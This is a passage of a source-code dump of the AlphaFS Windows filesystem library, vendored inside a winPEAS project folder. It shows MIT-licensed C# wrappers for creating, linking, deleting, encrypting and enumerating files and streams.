fileMode, FileSystemRights fileSystemRights, FileShare fileShare, bool checkPath, bool continueOnException, PathFormat pathFormat) { if (checkPath && pathFormat == PathFormat.RelativePath) Path.CheckSupportedPathFormat(path, true, true); // When isFile == null, we're working with a device. // When opening a VOLUME or removable media drive (for example, a floppy disk drive or flash memory thumb drive), // the path string should be the following form: "\\.\X:" // Do not use a trailing backslash ('\'), which indicates the root. var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator); // CreateFileXxx() does not support FileMode.Append mode. var isAppend = fileMode == FileMode.Append; if (isAppend) { fileMode = FileMode.OpenOrCreate; fileSystemRights |= FileSystemRights.AppendData; } if (null != fileSecurity) fileSystemRights |= (FileSystemRights) SECURITY_INFORMATION.UNPROTECTED_SACL_SECURITY_INFORMATION; using ((fileSystemRights & (FileSystemRights)SECURITY_INFORMATION.UNPROTECTED_SACL_SECURITY_INFORMATION) != 0 || (fileSystemRights & (FileSystemRights)SECURITY_INFORMATION.UNPROTECTED_DACL_SECURITY_INFORMATION) != 0 ? new PrivilegeEnabler(Privilege.Security) : null) using (var securityAttributes = new Security.NativeMethods.SecurityAttributes(fileSecurity)) { var safeHandle = transaction == null || !NativeMethods.IsAtLeastWindowsVista // CreateFile() / CreateFileTransacted() // 2013-01-13: MSDN confirms LongPath usage. ? NativeMethods.CreateFile(pathLp, fileSystemRights, fileShare, securityAttributes, fileMode, attributes, IntPtr.Zero) : NativeMethods.CreateFileTransacted(pathLp, fileSystemRights, fileShare, securityAttributes, fileMode, attributes, IntPtr.Zero, transaction.SafeHandle, IntPtr.Zero, IntPtr.Zero); var lastError = Marshal.GetLastWin32Error(); NativeMethods.CloseHandleAndPossiblyThrowException(safeHandle, lastError, isFolder, path, !continueOnException); if (isAppend) { var success = NativeMethods.SetFilePointerEx(safeHandle, 0, IntPtr.Zero, SeekOrigin.End); lastError = Marshal.GetLastWin32Error(); if (!success) { NativeMethods.CloseHandleAndPossiblyThrowException(safeHandle, lastError, isFolder, path, !continueOnException); return null; } } return safeHandle; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateFileStreamCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using Microsoft.Win32.SafeHandles; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Security.AccessControl; using FileStream = System.IO.FileStream; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Creates or overwrites a file in the specified path. /// The transaction. /// The name of the file. /// The additional advanced options to create a file. /// A instance that determines the access control and audit security for the file. /// The option gives you more precise control over how you want to create a file. /// The allow you additionally specify to default read/write capability - just write, bypassing any cache. /// The option controls how you would like to share created file with other requesters. /// Indicates the format of the parameter. /// The number of bytes buffered for reads and writes to the file. /// A that provides read/write access to the file specified in path. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope", Justification = "False positive")] [SecurityCritical] internal static FileStream CreateFileStreamCore(KernelTransaction transaction, string path, ExtendedFileAttributes attributes, FileSecurity fileSecurity, FileMode mode, FileAccess access, FileShare share, int bufferSize, PathFormat pathFormat) { SafeFileHandle safeHandle = null; try { safeHandle = CreateFileCore(transaction, false, path, attributes, fileSecurity, mode, (FileSystemRights) access, share, true, false, pathFormat); return new FileStream(safeHandle, access, bufferSize, (attributes & ExtendedFileAttributes.Overlapped) != 0); } catch { NativeMethods.IsValidHandle(safeHandle, false); throw; } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateHardlinkCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Establishes a hard link (similar to CMD command: "MKLINK /H") between an existing file and a new file as a transacted operation. This function is only supported on the NTFS file system, and only for files, not directories. /// /// /// /// The transaction. /// The name of the new file. This parameter cannot specify the name of a directory. /// The name of the existing file. This parameter cannot specify the name of a directory. /// Indicates the format of the path parameter(s). [SuppressMessage("Microsoft.Naming", "CA1704:IdentifiersShouldBeSpelledCorrectly", MessageId = "Hardlink")] [SecurityCritical] internal static void CreateHardLinkCore(KernelTransaction transaction, string fileName, string existingFileName, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath) { const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck; fileName = Path.GetExtendedLengthPathCore(transaction, fileName, pathFormat, options); existingFileName = Path.GetExtendedLengthPathCore(transaction, existingFileName, pathFormat, options); } if (!(transaction == null || !NativeMethods.IsAtLeastWindowsVista // CreateHardLink() / CreateHardLinkTransacted() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // 2017-05-30: CreateHardLink() MSDN confirms LongPath usage: Starting with Windows 10, version 1607 ? NativeMethods.CreateHardLink(fileName, existingFileName, IntPtr.Zero) : NativeMethods.CreateHardLinkTransacted(fileName, existingFileName, IntPtr.Zero, transaction.SafeHandle))) { var lastError = (uint) Marshal.GetLastWin32Error(); switch (lastError) { case Win32Errors.ERROR_INVALID_FUNCTION: throw new NotSupportedException(Resources.HardLinks_Not_Supported); default: NativeError.ThrowException(lastError, existingFileName, fileName); break; } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateSymbolicLinkCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.ComponentModel; using System.IO; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Creates a symbolic link (similar to CMD command: "MKLINK") to a file or directory as a transacted operation. ///   /// /// Symbolic links can point to a non-existent target. /// When creating a symbolic link, the operating system does not check to see if the target exists. /// Symbolic links are reparse points. /// There is a maximum of 31 reparse points (and therefore symbolic links) allowed in a particular path. /// See to run this method in an elevated state. /// /// /// /// /// The operating system is older than Windows Vista. /// The transaction. /// The name of the target for the symbolic link to be created. /// The symbolic link to be created. /// Indicates whether the link target, , is a file or directory. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void CreateSymbolicLinkCore(KernelTransaction transaction, string symlinkFileName, string targetFileName, SymbolicLinkTarget targetType, PathFormat pathFormat) { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message); if (pathFormat != PathFormat.LongFullPath) { const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck; symlinkFileName = Path.GetExtendedLengthPathCore(transaction, symlinkFileName, pathFormat, options); targetFileName = Path.GetExtendedLengthPathCore(transaction, targetFileName, pathFormat, options); } // Don't use long path notation, as it will be empty upon creation. targetFileName = Path.GetRegularPathCore(targetFileName, GetFullPathOptions.None, false); if (targetType == SymbolicLinkTarget.Directory) { ThrowIOExceptionIfFsoExist(transaction, false, targetFileName, pathFormat); ThrowIOExceptionIfFsoExist(transaction, false, symlinkFileName, pathFormat); } else { ThrowIOExceptionIfFsoExist(transaction, true, targetFileName, pathFormat); ThrowIOExceptionIfFsoExist(transaction, true, symlinkFileName, pathFormat); } var success = null == transaction // CreateSymbolicLink() / CreateSymbolicLinkTransacted() // 2017-05-30: CreateSymbolicLink() MSDN confirms LongPath usage: Starting with Windows 10, version 1607 // 2015-07-17: This function does not support long paths. // 2014-02-14: MSDN does not confirm LongPath usage but a Unicode version of this function exists. ? NativeMethods.CreateSymbolicLink(symlinkFileName, targetFileName, targetType) : NativeMethods.CreateSymbolicLinkTransacted(symlinkFileName, targetFileName, targetType, transaction.SafeHandle); var lastError = (uint) Marshal.GetLastWin32Error(); if (!success) NativeError.ThrowException(lastError, targetFileName, symlinkFileName); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.CreateTextCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.IO; using System.Security; using System.Text; using StreamWriter = System.IO.StreamWriter; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Creates or opens a file for writing encoded text. /// The transaction. /// The file to be opened for writing. /// The applied to the contents of the file. /// Indicates the format of the path parameter(s). /// A that writes to the specified file using NativeMethods.DefaultFileBufferSize encoding. [SuppressMessage("Microsoft.Reliability", "CA2000:Dispose objects before losing scope")] [SecurityCritical] internal static StreamWriter CreateTextCore(KernelTransaction transaction, string path, Encoding encoding, PathFormat pathFormat) { return new StreamWriter(CreateFileStreamCore(transaction, path, ExtendedFileAttributes.SequentialScan, null, FileMode.Create, FileAccess.Write, FileShare.Read, NativeMethods.DefaultFileBufferSize, pathFormat), encoding); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.DeleteFileCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Globalization; using System.IO; using System.Runtime.InteropServices; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Deletes a Non-/Transacted file. /// If the file to be deleted does not exist, no exception is thrown. /// /// /// /// /// The transaction. /// The name of the file to be deleted. /// true overrides the read only of the file. /// /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void DeleteFileCore(KernelTransaction transaction, string path, bool ignoreReadOnly, FileAttributes attributes, PathFormat pathFormat) { if (null == path) throw new ArgumentNullException("path"); if (pathFormat == PathFormat.RelativePath) Path.CheckSupportedPathFormat(path, true, true); var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator); // Reset attributes to Normal if we already know the facts. if (ignoreReadOnly && IsReadOnlyOrHidden(attributes)) SetAttributesCore(transaction, false, pathLp, FileAttributes.Normal, PathFormat.LongFullPath); startDeleteFile: if (!(null == transaction || !NativeMethods.IsAtLeastWindowsVista // DeleteFile() / DeleteFileTransacted() // 2013-01-13: MSDN confirms LongPath usage. // // If the path points to a symbolic link, the symbolic link is deleted, not the target. ? NativeMethods.DeleteFile(pathLp) : NativeMethods.DeleteFileTransacted(pathLp, transaction.SafeHandle))) { var lastError = Marshal.GetLastWin32Error(); switch ((uint) lastError) { case Win32Errors.ERROR_FILE_NOT_FOUND: // MSDN: .NET 3.5+: If the file to be deleted does not exist, no exception is thrown. return; case Win32Errors.ERROR_PATH_NOT_FOUND: // MSDN: .NET 3.5+: DirectoryNotFoundException: The specified path is invalid (for example, it is on an unmapped drive). NativeError.ThrowException(lastError, pathLp); return; case Win32Errors.ERROR_SHARING_VIOLATION: // MSDN: .NET 3.5+: IOException: The specified file is in use or there is an open handle on the file. NativeError.ThrowException(lastError, pathLp); break; case Win32Errors.ERROR_ACCESS_DENIED: if (attributes == 0) { var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); if (FillAttributeInfoCore(transaction, pathLp, ref attrs, false, true) == Win32Errors.NO_ERROR) attributes = attrs.dwFileAttributes; } // MSDN: .NET 3.5+: UnauthorizedAccessException: Path is a directory. if (IsDirectory(attributes)) throw new UnauthorizedAccessException(string.Format(CultureInfo.InvariantCulture, "({0}) {1}", lastError.ToString(CultureInfo.InvariantCulture), string.Format(CultureInfo.InvariantCulture, Resources.Target_File_Is_A_Directory, pathLp))); if (IsReadOnlyOrHidden(attributes)) { if (ignoreReadOnly) { // Reset attributes to Normal. SetAttributesCore(transaction, false, pathLp, FileAttributes.Normal, PathFormat.LongFullPath); goto startDeleteFile; } // MSDN: .NET 3.5+: UnauthorizedAccessException: Path specified a read-only file. throw new FileReadOnlyException(pathLp); } // MSDN: .NET 3.5+: UnauthorizedAccessException: The caller does not have the required permission. if (attributes == 0) NativeError.ThrowException(lastError, pathLp); break; } // MSDN: .NET 3.5+: IOException: // The specified file is in use. // There is an open handle on the file, and the operating system is Windows XP or earlier. NativeError.ThrowException(lastError, IsDirectory(attributes), pathLp); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.EncryptDecryptFileCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Globalization; using System.IO; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Decrypts/encrypts a file or directory so that only the account used to encrypt the file can decrypt it. /// /// /// /// /// /// Specifies that is a file or directory. /// A path that describes a file to encrypt. /// true encrypt, false decrypt. /// Indicates the format of the path parameter(s). [SecurityCritical] internal static void EncryptDecryptFileCore(bool isFolder, string path, bool encrypt, PathFormat pathFormat) { if (pathFormat != PathFormat.LongFullPath) { path = Path.GetExtendedLengthPathCore(null, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); pathFormat = PathFormat.LongFullPath; } // MSDN: If lpFileName specifies a read-only file, the function fails and GetLastError returns ERROR_FILE_READ_ONLY. var attrs = GetAttributesExCore(null, path, pathFormat, true); var isReadOnly = IsReadOnly(attrs.dwFileAttributes); var isHidden = IsHidden(attrs.dwFileAttributes); if (isReadOnly || isHidden) { if (isReadOnly) attrs.dwFileAttributes &= ~FileAttributes.ReadOnly; if (isHidden) attrs.dwFileAttributes &= ~FileAttributes.Hidden; SetAttributesCore(null, isFolder, path, attrs.dwFileAttributes, pathFormat); } // EncryptFile() / DecryptFile() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. var success = encrypt ? NativeMethods.EncryptFile(path) : NativeMethods.DecryptFile(path, 0); var lastError = Marshal.GetLastWin32Error(); if (isReadOnly || isHidden) { if (isReadOnly) attrs.dwFileAttributes |= FileAttributes.ReadOnly; if (isHidden) attrs.dwFileAttributes |= FileAttributes.Hidden; SetAttributesCore(null, isFolder, path, attrs.dwFileAttributes, pathFormat); } if (!success) { switch ((uint) lastError) { case Win32Errors.ERROR_ACCESS_DENIED: if (!string.Equals("NTFS", new DriveInfo(path).DriveFormat, StringComparison.OrdinalIgnoreCase)) throw new NotSupportedException(string.Format(CultureInfo.InvariantCulture, "The drive does not support NTFS encryption: [{0}]", Path.GetPathRoot(path, false))); break; case Win32Errors.ERROR_FILE_READ_ONLY: if (isFolder) throw new DirectoryReadOnlyException(path); else throw new FileReadOnlyException(path); default: NativeError.ThrowException(lastError, isFolder, path); break; } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.EnumerateAlternateDataStreamsCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Collections.Generic; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Enumerates the streams of type :$DATA from the specified file or directory. /// The transaction. /// When true indicates the source is a directory; file otherwise. /// The path to the file or directory to enumerate streams of. /// Indicates the format of the path parameter(s). /// An enumeration of instances. [SecurityCritical] internal static IEnumerable EnumerateAlternateDataStreamsCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat) { var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.CheckAdditional); using (var buffer = new SafeGlobalMemoryBufferHandle(Marshal.SizeOf(typeof(NativeMethods.WIN32_FIND_STREAM_DATA)))) using (var safeFindFileHandle = FindFirstStreamNative(transaction, pathLp, buffer)) { if (null != safeFindFileHandle) while (true) { yield return new AlternateDataStreamInfo(pathLp, buffer.PtrToStructure(0)); var success = NativeMethods.FindNextStreamW(safeFindFileHandle, buffer); var lastError = Marshal.GetLastWin32Error(); if (!success) { if (lastError == Win32Errors.ERROR_HANDLE_EOF) break; NativeError.ThrowException(lastError, isFolder, pathLp); } } } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.EnumerateHardLinksCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Collections.Generic; using System.ComponentModel; using System.Runtime.InteropServices; using System.Text; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// [AlphaFS] Creates an enumeration of all the hard links to the specified . /// An enumerable collection of of all the hard links to the specified /// The operating system is older than Windows Vista. /// The transaction. /// The name of the file. /// Indicates the format of the path parameter(s). internal static IEnumerable EnumerateHardLinksCore(KernelTransaction transaction, string path, PathFormat pathFormat) { if (!NativeMethods.IsAtLeastWindowsVista) throw new PlatformNotSupportedException(new Win32Exception((int) Win32Errors.ERROR_OLD_WIN_VERSION).Message); var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck); // Default buffer length, will be extended if needed, although this should not happen. uint length = NativeMethods.MaxPathUnicode; var builder = new StringBuilder((int) length); getFindFirstFileName: using (var safeHandle = null == transaction // FindFirstFileNameW() / FindFirstFileNameTransactedW() / FindNextFileNameW() // 2013-01-13: MSDN does not confirm LongPath usage but a Unicode version of this function exists. // 2017-05-30: FindFirstFileNameW() MSDN confirms LongPath usage: Starting with Windows 10, version 1607 ? NativeMethods.FindFirstFileNameW(pathLp, 0, out length, builder) : NativeMethods.FindFirstFileNameTransactedW(pathLp, 0, out length, builder, transaction.SafeHandle)) { var lastError = Marshal.GetLastWin32Error(); if (!NativeMethods.IsValidHandle(safeHandle, false)) { switch ((uint) lastError) { case Win32Errors.ERROR_MORE_DATA: builder = new StringBuilder((int) length); goto getFindFirstFileName; default: // If the function fails, the return value is INVALID_HANDLE_VALUE. NativeError.ThrowException(lastError, pathLp); break; } } yield return builder.ToString(); do { while (!NativeMethods.FindNextFileNameW(safeHandle, out length, builder)) { lastError = Marshal.GetLastWin32Error(); switch ((uint) lastError) { // We've reached the end of the enumeration. case Win32Errors.ERROR_HANDLE_EOF: yield break; case Win32Errors.ERROR_MORE_DATA: builder = new StringBuilder((int) length); continue; default: // If the function fails, the return value is zero (0). NativeError.ThrowException(lastError); break; } } yield return builder.ToString(); } while (true); } } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/File Class/File Core Methods/File.ExistsCore.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; namespace Alphaleonis.Win32.Filesystem { public static partial class File { /// Determines whether the specified file or directory exists. /// /// MSDN: .NET 3.5+: Trailing spaces are removed from the end of the parameter before checking whether /// the directory exists. /// The Exists method returns false if any error occurs while trying to determine if the specified file /// exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// /// a failing or missing disk, or if the caller does not have permission to read the file. /// The Exists method should not be used for path validation, /// this method merely checks if the file specified in path exists. /// Passing an invalid path to Exists returns false. /// Be aware that another process can potentially do something with the file in between /// the time you call the Exists method and perform another operation on the file, such as Delete. /// /// The transaction. /// Specifies that is a file or directory. /// The file to check. /// Indicates the format of the path parameter(s). /// /// Returns true if the caller has the required permissions /// and contains the name of an existing file or directory; otherwise, false /// [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] [SecurityCritical] internal static bool ExistsCore(KernelTransaction transaction, bool isFolder, string path, PathFormat pathFormat) { // Will be caught later and be thrown as an ArgumentException or ArgumentNullException. // Let's take a shorter route, preventing an Exception from being thrown altogether. if (Utils.IsNullOrWhiteSpace(path)) return false; // Check for driveletter, such as: "C:" var pathRp = Path.GetRegularPathCore(path, GetFullPathOptions.None, false); if (pathRp.Length == 2 && Path.IsLogicalDriveCore(pathRp, true, PathFormat.LongFullPath)) path = pathRp; try { var pathLp = Path.GetExtendedLengthPathCore(transaction, path, pathFormat, GetFullPathOptions.TrimEnd | GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.CheckInvalidPathChars | GetFullPathOptions.ContinueOnNonExist); var attrs = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); var dataInitialised = FillAttributeInfoCore(transaction, pathLp, ref attrs, false, true); if (dataInitialised == Win32Errors.ERROR_INVALID_NAME || dataInitialised == Win32Errors.ERROR_INVALID_PARAMETER) { // Issue #288: Directory.Exists on root drive problem has come back with recent updates // // ERROR_INVALID_NAME : A relative path with a long path prefix: FindFirstFileEx("\\\\?\\C:qr4bxbzb.k1v-exists", ... // 